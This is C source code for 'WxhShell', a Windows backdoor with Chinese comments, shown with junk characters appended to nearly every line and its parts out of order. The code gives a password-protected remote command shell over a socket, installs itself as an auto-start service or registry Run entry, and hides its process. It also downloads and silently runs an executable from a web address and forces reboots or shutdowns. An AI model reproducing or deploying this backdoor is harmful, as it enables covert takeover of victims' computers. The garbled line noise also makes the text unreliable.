    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zl# ';~9W  
    else { (O:&RAkk7  
    closesocket(wsh); :`BG/  
    ExitThread(0); kG4])qxC'  
    } j/wQ2"@a  
    break; \ D>!&   
    } :Eg4^,QX  
  // 关机 USgO`l\}4  
  case 'd': { p+nB@fN/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ae0Mf0<#)  
    if(Boot(SHUTDOWN)) R-iWbLD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sd I>  
    else { jv29,46K  
    closesocket(wsh); UY *Z`$  
    ExitThread(0); 66W J=? JV  
    } BUL<FTg  
    break; @Z""|H"0  
    } g( "[wqgG  
  // 获取shell b,ZBol|X  
  case 's': { jX$U)O  
    CmdShell(wsh); lUnC+w#[  
    closesocket(wsh); LChwHkRHJI  
    ExitThread(0); =`MQKh,  
    break; |gk"~D  
  } ~}D"8[ABj  
  // 退出 ?*q-u9s9  
  case 'x': { rV%;d[LB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MnY}U",   
    CloseIt(wsh); './qBJ  
    break; $Vs5d= B  
    } 8v^AVg  
  // 离开 N#Nc{WU 'B  
  case 'q': { ?$\sMkn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j=Q ?d]  
    closesocket(wsh); @&E7Pg5  
    WSACleanup(); $ JCOL  
    exit(1); qMqf7 .  
    break; 44B9JA7u  
        } [--] ?Dr  
  } @[$q1Nm  
  } >Zm|R|{BE  
vHymSU/J  
  // 提示信息 5Yk|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZOJ7 ^g  
} ,/p .!+  
  } 7bM H  
i94)DWZ^  
  return; 6l|SGt\  
} Q^lgtb  
cR6 #$-a  
// shell模块句柄 \S?;5LacZ  
int CmdShell(SOCKET sock) 1$yS Ii  
{ 2+YM .Zl  
STARTUPINFO si; YMwL(m1  
ZeroMemory(&si,sizeof(si)); u69G #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :N4?W}r.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,{RWs^W2  
PROCESS_INFORMATION ProcessInfo; %LL?'&&  
char cmdline[]="cmd"; P=4o)e7E!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t .XuH#  
  return 0; 7c'OIY].,  
} SzjylUYV  
hZO=$Mm4p  
// 自身启动模式 c<)O#i@3/  
int StartFromService(void) C !Lu`y  
{ w^ 8^0i-  
typedef struct nhq,Y0YH  
{ eGrxS;NY  
  DWORD ExitStatus; Xr|e%]!**  
  DWORD PebBaseAddress; 6bpO#&T  
  DWORD AffinityMask; VpM(}QHd  
  DWORD BasePriority; 7I@@}A  
  ULONG UniqueProcessId; `v Ebm Xb  
  ULONG InheritedFromUniqueProcessId; .uo:fxbd2  
}   PROCESS_BASIC_INFORMATION; &nn+X%m9g  
5[+E?4,&  
PROCNTQSIP NtQueryInformationProcess; x@VZJrQQ  
N2EX`@_2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PrEfJ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sGbk4g  
_7-P8"m  
  HANDLE             hProcess; H#I%6k*\a  
  PROCESS_BASIC_INFORMATION pbi; }~NWOJ3;  
 {0} Q5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R8u9tTW  
  if(NULL == hInst ) return 0; 7/c9azmC  
J#k.!]r,Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S\11 8TpD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <:0d%YB)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lz0'E'%{P  
NK(; -~{P  
  if (!NtQueryInformationProcess) return 0; X&Pj  
c6F8z75U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \8-PCD  
  if(!hProcess) return 0; >Q# !.lH$W  
hjoxx F\_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  gm@%[  
dO[pm0  
  CloseHandle(hProcess); rt!Uix&  
n@| &jh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D5fhOq+g  
if(hProcess==NULL) return 0; i<uk}  
I/w=!Ih  
HMODULE hMod; pS<j>y  
char procName[255]; cvv(OkC  
unsigned long cbNeeded; Iqm QQ_KH  
,OaPrAt-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h*zHmkFR  
)XL}u4X  
  CloseHandle(hProcess); ?Kf?Z`9 *Y  
"0A !fRI~  
if(strstr(procName,"services")) return 1; // 以服务启动 L+$9 ,<'[  
' +[fJ>Le  
  return 0; // 注册表启动 J@ pCF@'  
} 3%SwCYd  
T,Zfz9{n  
// 主模块 y e1hcQ  
int StartWxhshell(LPSTR lpCmdLine) "': u#UdS  
{ tm280  
  SOCKET wsl; `!iVMTp  
BOOL val=TRUE; G~Mxh,aD$>  
  int port=0; .R>4'#8q  
  struct sockaddr_in door; IgU65p  
;b1*2-  
  if(wscfg.ws_autoins) Install(); !8i[.EAT  
Ax;i;<md  
port=atoi(lpCmdLine); -_|U"C$  
i\u m;\  
if(port<=0) port=wscfg.ws_port; h4dT N}  
WscNjWQ^TD  
  WSADATA data; 75t5:>"[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9zK5Y+!  
^ s@'nKc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X` FFI6pb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v %fRq!~  
  door.sin_family = AF_INET; Qk.:b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dKwY\)\  
  door.sin_port = htons(port); Yv[j5\:x  
C~aNOe WR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /5c;,.hm1R  
closesocket(wsl); ]f"l4ay@M  
return 1; x_TtS|   
} ,k5b,}tN  
Q:~>$5Em5  
  if(listen(wsl,2) == INVALID_SOCKET) { Ss~dK-{e7  
closesocket(wsl); ?sBbe@OC?  
return 1; #4<Rs|K  
} *w;=o}`  
  Wxhshell(wsl); 89{@2TXR  
  WSACleanup(); _~b$6Nf!83  
,| EaW& 2  
return 0; "Gh?hU,WWZ  
,5L[M&5  
} ?u]%T]W  
Z#lZn!EbK  
// 以NT服务方式启动 4-:TQp(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` d[ja,  
{ qc-4;m o  
DWORD   status = 0; g[~"c}  
  DWORD   specificError = 0xfffffff; aD,(mw-7r  
h5?yrti  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /"M7YPX;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -K K)}I`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $zvqjT:>  
  serviceStatus.dwWin32ExitCode     = 0; <U ?_-0  
  serviceStatus.dwServiceSpecificExitCode = 0; ZiS<vWa3R  
  serviceStatus.dwCheckPoint       = 0; TZ,kmk#  
  serviceStatus.dwWaitHint       = 0; szy^kj^2  
9"YOj_z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K8UgP?c;0  
  if (hServiceStatusHandle==0) return; elBmF#,j 7  
&_EjP hZ  
status = GetLastError(); nUL8*#p-  
  if (status!=NO_ERROR) $m;rOKVU  
{ M)oy3y^&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !?7c2QRN  
    serviceStatus.dwCheckPoint       = 0; _bO4s#yI  
    serviceStatus.dwWaitHint       = 0; IW.~I,!x  
    serviceStatus.dwWin32ExitCode     = status; =A,6KY=E  
    serviceStatus.dwServiceSpecificExitCode = specificError; }I\hO L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .WR+)^&zz  
    return; 5)MVkJ=R  
  } *y;(c)_w/%  
3d2|vQx,K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IwHYuOED]  
  serviceStatus.dwCheckPoint       = 0; Gn*vVZ@`x  
  serviceStatus.dwWaitHint       = 0; "Oh(&N:U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rU /V ~;#%  
} kR0d]"dr  
l 6;}nG  
// 处理NT服务事件,比如:启动、停止 iJza zQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z~VSWrw3  
{ gt1W_C\  
switch(fdwControl) wY`yP!xO  
{ ad1%"~1  
case SERVICE_CONTROL_STOP: $Y!$I.+  
  serviceStatus.dwWin32ExitCode = 0; _[,oP s:+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wh\J)pA1  
  serviceStatus.dwCheckPoint   = 0; $~V,.RD  
  serviceStatus.dwWaitHint     = 0; 'ju{j`b  
  { 0!c^pOq6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qe!\ oh  
  } S 'jH  
  return; 0"~`U.k~M  
case SERVICE_CONTROL_PAUSE: g $\Z-!(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,rB"ag !  
  break; [4qx+ypT  
case SERVICE_CONTROL_CONTINUE: ~ l'dpg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lkWID  
  break; :h>d'+\  
case SERVICE_CONTROL_INTERROGATE: \B'rWk 33,  
  break; 1%YjY"j+  
}; 3@r_t|j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]8|cV GMa  
} eUyQSI4A  
\k{UqU+s  
// 标准应用程序主函数 e>Vr#a4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r?s,  
{ 8\BCC1K  
`3Gjj&c  
// 获取操作系统版本 %d5;JEgA:g  
OsIsNt=GetOsVer(); i>n.r_!E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s^X(G!V{c  
btC 0w^5  
  // 从命令行安装 f((pRP   
  if(strpbrk(lpCmdLine,"iI")) Install(); \(PC#H%  
= dyApR:'  
  // 下载执行文件 tp='PG.6  
if(wscfg.ws_downexe) { +`_I !  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f&w8o5=|I  
  WinExec(wscfg.ws_filenam,SW_HIDE); w7H.&7rF  
} ZI  q!ee  
kMGK 8y  
if(!OsIsNt) { &95iGL28Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 s }]qlg  
HideProc(); "JLKO${ Y  
StartWxhshell(lpCmdLine); .!ThqYo  
} { jnQoxN  
else }U=|{@%  
  if(StartFromService()) "x. |'  
  // 以服务方式启动 LLn,pI2fL{  
  StartServiceCtrlDispatcher(DispatchTable); $'I+] ;  
else E$-u:Z<-  
  // 普通方式启动 !$"DD[~\  
  StartWxhshell(lpCmdLine); `.f {V  
| fMjg'%{}  
return 0; c5K@<=?,E  
} AnV\{A^  
h 7feZ_  
nR7 usL  
78v4c Q Y  
=========================================== /P*mF^Y  
#"^F:: b-  
VZ?"yUZ Id  
oyGO!j  
3"O)"/"Q.  
CKShz]1  
" |sN>/89=/  
[E_eaez7#  
#include <stdio.h> ~+1t3M e  
#include <string.h> m>C}T  
#include <windows.h> 8SvPDGu `]  
#include <winsock2.h> _zG9.?'b3  
#include <winsvc.h> $MF U9<O  
#include <urlmon.h> )$#]h]ac  
OW (45  
#pragma comment (lib, "Ws2_32.lib") Ih*}1D)7  
#pragma comment (lib, "urlmon.lib") X|'EyZ  
|=C&JA  
#define MAX_USER   100 // 最大客户端连接数 O2|[g8(_F  
#define BUF_SOCK   200 // sock buffer tZS-e6*S  
#define KEY_BUFF   255 // 输入 buffer huTa Ei  
j)K[A%(  
#define REBOOT     0   // 重启 E,I*E{nd9  
#define SHUTDOWN   1   // 关机 b[Z5:[@\#  
&uwj&-u?  
#define DEF_PORT   5000 // 监听端口 ~f&lQN'1  
;b=3iT-2"  
#define REG_LEN     16   // 注册表键长度 8}/v[8p  
#define SVC_LEN     80   // NT服务名长度 E5d?toZ,8"  
*u$MqN  
// 从dll定义API cd8~y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tAfdbt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xtef18i>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Ih.?7}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I\JJ7/S`t  
5!2^|y4r  
// wxhshell配置信息 *Mf;  
struct WSCFG { k}-@N;zq  
  int ws_port;         // 监听端口 p@H]F<  
  char ws_passstr[REG_LEN]; // 口令 c+PT"/3  
  int ws_autoins;       // 安装标记, 1=yes 0=no >#}MDwKZD  
  char ws_regname[REG_LEN]; // 注册表键名 6fvzTd},  
  char ws_svcname[REG_LEN]; // 服务名 >hcA:\UPk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VeixwGZ.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6iwIEb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hLyD#XCFA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G=lcKtMdg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hl"qLrb4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dmHpF\P5f  
|oq27*ix~m  
}; 4q"x|}a  
^h+,Kn0@  
// default Wxhshell configuration Yqs N#E3pf  
struct WSCFG wscfg={DEF_PORT, ,3_;JT"5  
    "xuhuanlingzhe", Kq}/`P  
    1, %G6ml,  
    "Wxhshell", %Z@+K_X9x  
    "Wxhshell", #J. v[bOWQ  
            "WxhShell Service", h^F^|WT$  
    "Wrsky Windows CmdShell Service", M_tY:v  
    "Please Input Your Password: ", Ri]7=.QI`  
  1, ~~[Sz#(  
  "http://www.wrsky.com/wxhshell.exe", csg:# -gE  
  "Wxhshell.exe" K31G>k@  
    }; FLI\SF<  
L,*KgLG  
// 消息定义模块 %liu[6_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Hz});ix<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mq-QWx"P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (lwrk(  
char *msg_ws_ext="\n\rExit."; <rUH\z5cP  
char *msg_ws_end="\n\rQuit."; QUL^]6$  
char *msg_ws_boot="\n\rReboot..."; @OOnO+g  
char *msg_ws_poff="\n\rShutdown..."; 7n*,L5%?]4  
char *msg_ws_down="\n\rSave to "; 9-;ujl?{  
R<VNbm;  
char *msg_ws_err="\n\rErr!"; [%(}e1T(  
char *msg_ws_ok="\n\rOK!"; ]M AB  
,-PzUR4_Kj  
char ExeFile[MAX_PATH]; gakmg#ki  
int nUser = 0; qms+s~oA  
HANDLE handles[MAX_USER]; qbjBN z  
int OsIsNt; Ov1$7 r@  
/0Q=}:d  
SERVICE_STATUS       serviceStatus; y,&UST  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C3kxw1*   
m,nZrap  
// 函数声明 _{CMWo"l  
int Install(void); |cpBoU  
int Uninstall(void); qd*3| O^  
int DownloadFile(char *sURL, SOCKET wsh); cjzhuH/y  
int Boot(int flag); zx"'WM*  
void HideProc(void); O$jj&  
int GetOsVer(void); `YTagUq7  
int Wxhshell(SOCKET wsl); !@mV$nTA  
void TalkWithClient(void *cs); dkTj KV  
int CmdShell(SOCKET sock); T"1H%65`V  
int StartFromService(void); <ijf':X=*  
int StartWxhshell(LPSTR lpCmdLine); 1@Dp<Q  
3V:{_~~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 44 bTx y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }qy,/<R  
OjxaA[$  
// 数据结构和表定义 2XhtK  
SERVICE_TABLE_ENTRY DispatchTable[] = sg"J00  
{ }:u" ?v=|j  
{wscfg.ws_svcname, NTServiceMain}, L3:dANG  
{NULL, NULL} b_= $W  
}; Xd%c00"U  
!mNXPqnN  
// 自我安装 m&/{iCwp  
int Install(void) 9"mOjL  
{ ;V(- ;O  
  char svExeFile[MAX_PATH]; 8 wGq:@# =  
  HKEY key; vK2sj1Hzr  
  strcpy(svExeFile,ExeFile); ~l$u~:4Ob  
nR)/k,3W  
// 如果是win9x系统,修改注册表设为自启动 1e`/N+6u  
if(!OsIsNt) { x`8rR;N!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H..g2;D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P3|_R HIb  
  RegCloseKey(key); 4\'1j|nS[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .kpL?_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l`9<mL  
  RegCloseKey(key); SS?^-BI  
  return 0; &phers  
    } /BB(riG  
  } ^VsX9  
} ~!( (?8"  
else { C/Vs+aW n  
+`pS 7d  
// 如果是NT以上系统,安装为系统服务 gL%%2 }$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  zjVBMqdD  
if (schSCManager!=0) *Ag</g@ h  
{ AR9D;YfR~  
  SC_HANDLE schService = CreateService Pw`26mB   
  ( O@;;GJ  
  schSCManager, =zw=J p  
  wscfg.ws_svcname, ~jdvxoX-  
  wscfg.ws_svcdisp, a12Q/K  
  SERVICE_ALL_ACCESS, m0xL'g6F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6*`KC)a  
  SERVICE_AUTO_START, 6 &~8TH  
  SERVICE_ERROR_NORMAL, qEvHrsw},  
  svExeFile, Rh!B4oB4  
  NULL, MfNxd 6w  
  NULL, V1Yab#  
  NULL, :1h1+b@,  
  NULL, S~BBBD  
  NULL $OI 6^  
  ); hdky:2^3  
  if (schService!=0) nulCk33x'=  
  { t)|*-=  
  CloseServiceHandle(schService); wQR>S>p  
  CloseServiceHandle(schSCManager); l ;"v&?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rQ~7BlE  
  strcat(svExeFile,wscfg.ws_svcname); 9>gxJ7pY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r{y&}gA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qYD$_a  
  RegCloseKey(key); }Rujh4*  
  return 0; z~[:@mGl  
    } 4.7 YIM  
  } npsDy&  
  CloseServiceHandle(schSCManager); gO>XNXN{  
} 4 DhGp  
} *'5 )CC  
A-5xgp,  
return 1; /Y=Cg%+  
} f4A;v|5_  
=l6aSr  
// 自我卸载 cj ?aCVa  
int Uninstall(void) rG7E[kii  
{ ;pk4Voo$  
  HKEY key; 8<BYAHY^  
#-76E  
if(!OsIsNt) { vW`Dy8`06  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "B18|#v  
  RegDeleteValue(key,wscfg.ws_regname); L eg)q7n  
  RegCloseKey(key); >uVo 'S.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~s.~X5  
  RegDeleteValue(key,wscfg.ws_regname); Yj%hgb:)  
  RegCloseKey(key); DK' ? '  
  return 0; UQq ,Xq  
  } YU=Q`y[k  
} >R9Q|   
} +tsF.Is!t  
else { _5<d'fBd  
GyU9,>|~T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XO[S(q  
if (schSCManager!=0) W5C8$Bqm  
{ {wUbr^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !O;su~7  
  if (schService!=0) Q;9-aZ.H  
  { C\%T|ZDE  
  if(DeleteService(schService)!=0) { tK@|sZ>3\  
  CloseServiceHandle(schService); "*08?KA  
  CloseServiceHandle(schSCManager); %6A."sePO  
  return 0; <( "M;C3y  
  } MW^(  
  CloseServiceHandle(schService); @Z0?1+k  
  } Q7<%_a  
  CloseServiceHandle(schSCManager); ;E,^bt<U  
} G$#Q:]N  
} 'G] P09`*)  
NC]]`O2r@  
return 1; 2o8:[3C5  
} >"LHr&;m&h  
^HS;\8Xvb  
// 从指定url下载文件 PE!/n6  
int DownloadFile(char *sURL, SOCKET wsh) b2L9%8h  
{ @#HB6B  
  HRESULT hr; 9jwcO)p^  
char seps[]= "/"; Ej_>*^b  
char *token; G6W_)YL  
char *file; }s+ t*z  
char myURL[MAX_PATH]; ibzcO,c  
char myFILE[MAX_PATH]; y]3`U UvXD  
_H{6{!=y  
strcpy(myURL,sURL); /-J  
  token=strtok(myURL,seps); '3%JhG)#  
  while(token!=NULL) u^6@!M  
  { Q#kSp8  
    file=token; }j+Af["W?  
  token=strtok(NULL,seps); EY$Dtb+g8  
  } pm2-F]  
F747K);_  
GetCurrentDirectory(MAX_PATH,myFILE); BZJ\tPSR  
strcat(myFILE, "\\"); =*0KH##%$  
strcat(myFILE, file); I{bDa'rX  
  send(wsh,myFILE,strlen(myFILE),0); C ~e&J&zh  
send(wsh,"...",3,0); h#hx(5"6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T]er_n  
  if(hr==S_OK) /Pbytu);ds  
return 0; tLH:'"{zx  
else m!22tpb  
return 1; RB\ Hl  
K#"J8h;x  
} uez"{_I  
<v=$A]K  
// 系统电源模块 vl`Qz"Xy  
int Boot(int flag) 9f(0 qa  
{ DB~3(r?K  
  HANDLE hToken; .j et0w  
  TOKEN_PRIVILEGES tkp; $ol]G`+  
_+sb~  
  if(OsIsNt) { %wFz4 :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }n Ea9h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MQc<AfW3/  
    tkp.PrivilegeCount = 1; N_:H kI6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *|gY7Av*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HbI'n,+  
if(flag==REBOOT) { 7`s* {  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <wH"{G3?  
  return 0; <USK6!-G  
} n%faD  
else { lr*p\vH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1;*4y J2  
  return 0; ;\]& k  
} ^4 MJ  
  } -(dtAo6  
  else { Wtwo1pp  
if(flag==REBOOT) { pD@:]VP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) | 2Vhj<6  
  return 0; 58SqB  
} t)kc`3i<A  
else { n1!}d%:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VGY x(  
  return 0; 12i<b  
} %nS(>X<B  
} eS`ZC!W   
R7o'V* d  
return 1; /3`yaYkSh  
} {g C?kp  
; Sd== *  
// win9x进程隐藏模块 @~z4GTF9i  
void HideProc(void) +P &S0/  
{ c$.Zg=  
N&uRL_X .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3 <A?  
  if ( hKernel != NULL ) `K7UWtp  
  { uIy$| N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~GLWhe-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LULRi#n  
    FreeLibrary(hKernel); (+CNs  
  } .9u0WP95  
2M+}o"g  
return; lC=-1*WH  
} 9bQD"%ha=d  
lt{D f~c  
// 获取操作系统版本 D03QisH=  
int GetOsVer(void) <.Dg3RH  
{ U!GfDt  
  OSVERSIONINFO winfo; 3v91yMx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .rw a=IW  
  GetVersionEx(&winfo); o5E5s9n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GI<3L K\  
  return 1; 0{OafL8&l  
  else %p(X*mVX  
  return 0; ~eyZH8&  
} ,/ YTW@N  
~eZ]LW])  
// 客户端句柄模块 Z,~PW#8<&  
int Wxhshell(SOCKET wsl) h+c9FN  
{ i*]$_\yl"  
  SOCKET wsh; dEI]|i r  
  struct sockaddr_in client; hcqg94R#_  
  DWORD myID; c Cx_tGR"  
{ .j030Q  
  while(nUser<MAX_USER) X:/7#fcG8  
{ F-X L  
  int nSize=sizeof(client); p[K!.vOt+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tZ.hSDH  
  if(wsh==INVALID_SOCKET) return 1; =E$B0^_2RC  
3s0 I<cL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |})v, o B  
if(handles[nUser]==0) V"|`Z}XW  
  closesocket(wsh); @iU(4eX  
else ^H!45ph?Jc  
  nUser++; qoP /` Y6  
  } kXgc'w6EhF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /,yRn31[  
Zet80|q  
  return 0; vd [?73:C  
} r h c&#JS  
V/+D]  
// 关闭 socket 5K,=S  
void CloseIt(SOCKET wsh) <c&Nm_)  
{ aF{1V \e  
closesocket(wsh); =`k', V_  
nUser--; =p[a Cb i  
ExitThread(0); ".{'h  
} z.~jqxA9  
(j-_iOQ]i+  
// 客户端请求句柄 '-BD.^!!  
void TalkWithClient(void *cs) ,YBe|3  
{ 2@!B;6*8q  
zGwM# -  
  SOCKET wsh=(SOCKET)cs; !A:d9 k  
  char pwd[SVC_LEN]; d f j;e%H  
  char cmd[KEY_BUFF]; ]m :Y|,:6  
char chr[1]; xnDst9%  
int i,j; 6@;sOiN+  
,FwJ0V  
  while (nUser < MAX_USER) { uE}$ZBi q  
X>i{288M3  
if(wscfg.ws_passstr) { cAn_:^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A[`2Mnj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !-m 'diE  
  //ZeroMemory(pwd,KEY_BUFF); & h\!#X0  
      i=0; *mz-g7  
  while(i<SVC_LEN) { !E6Q ED"  
H@te!EE  
  // 设置超时 iB}*<~`.Eg  
  fd_set FdRead; RBLOc$2  
  struct timeval TimeOut; [ut[W9  
  FD_ZERO(&FdRead); txiX1o!/L  
  FD_SET(wsh,&FdRead);  Cwl:  
  TimeOut.tv_sec=8; &Z(6i}f,Gp  
  TimeOut.tv_usec=0; t[/APm-k~>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :eH\9$F`x;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3i#'osq  
^vJy<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A: O"N  
  pwd=chr[0]; zJ_y"bt  
  if(chr[0]==0xd || chr[0]==0xa) { SPp|/ [i7  
  pwd=0; _h I81Lzq  
  break; HLCI  
  } hOYP~OR  
  i++; k3T374t1b  
    } ? U* `!-  
!j& #R%D  
  // 如果是非法用户,关闭 socket r)Ja\ ;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y(Y#H$w  
} ]QQeUxi  
FzAzAl 5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q7pe\~q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M[C)b\  
<b?$-Rx  
while(1) { x->+w Jm@s  
}tQ^ch;Q  
  ZeroMemory(cmd,KEY_BUFF); }/4),W@<  
d(K}v\3!  
      // 自动支持客户端 telnet标准   Z^J 7r&\V  
  j=0; \zeuvD  
  while(j<KEY_BUFF) { BZ(DP_}&D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MS]Q\g}U  
  cmd[j]=chr[0]; 2$'bOo  
  if(chr[0]==0xa || chr[0]==0xd) { {$V2L4  
  cmd[j]=0; R+El/ya:6  
  break; Y8h 96  
  } y[zjs^-vCv  
  j++; qC B{dp/  
    } XRTiC #6  
C#B|^A_  
  // 下载文件 R\-]$\1D  
  if(strstr(cmd,"http://")) { *-S?bv,T'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TkVqv v  
  if(DownloadFile(cmd,wsh)) I]%Kd('  
